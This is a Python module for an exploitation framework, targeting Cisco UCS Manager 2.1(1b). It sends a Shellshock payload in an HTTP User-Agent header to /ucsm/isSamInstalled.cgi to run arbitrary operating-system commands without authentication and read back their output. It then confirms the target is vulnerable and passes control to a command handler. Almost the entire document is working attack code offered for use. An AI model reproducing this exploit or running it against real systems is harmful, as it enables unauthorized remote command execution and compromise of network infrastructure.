Cisco UCS Manager RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cisco UCS Manager RCE"""


import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Cisco UCS Manager RCE',
        'description': 'Module exploits Cisco UCS Manager 2.1 (1b) Remote Code Execution vulnerability which allows executing commands on operating system level.',
        'author': ['thatchriseckert', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.exploit-db.com/exploits/39568/', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd):
        mark = self.random_text(32)
        headers = {
            "User-Agent": '() { test;};echo \"Content-type: text/plain\"; echo; echo; echo %s; echo "$(%s)"; echo %s;' % (mark, cmd, mark)
        }

        response = self.http_request(
            method="GET",
            path="/ucsm/isSamInstalled.cgi",
            headers=headers
        )
        if response is None:
            return ""

        if mark in response.text:
            regexp = "%s(|.+?)%s" % (mark, mark)
            res = re.findall(regexp, response.text, re.DOTALL)

            if len(res):
                return res[0]

        return ""
    def check(self):
        mark = self.random_text(32)
        cmd = "echo {}".format(mark)

        response = self.execute(cmd)

        if mark in response:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()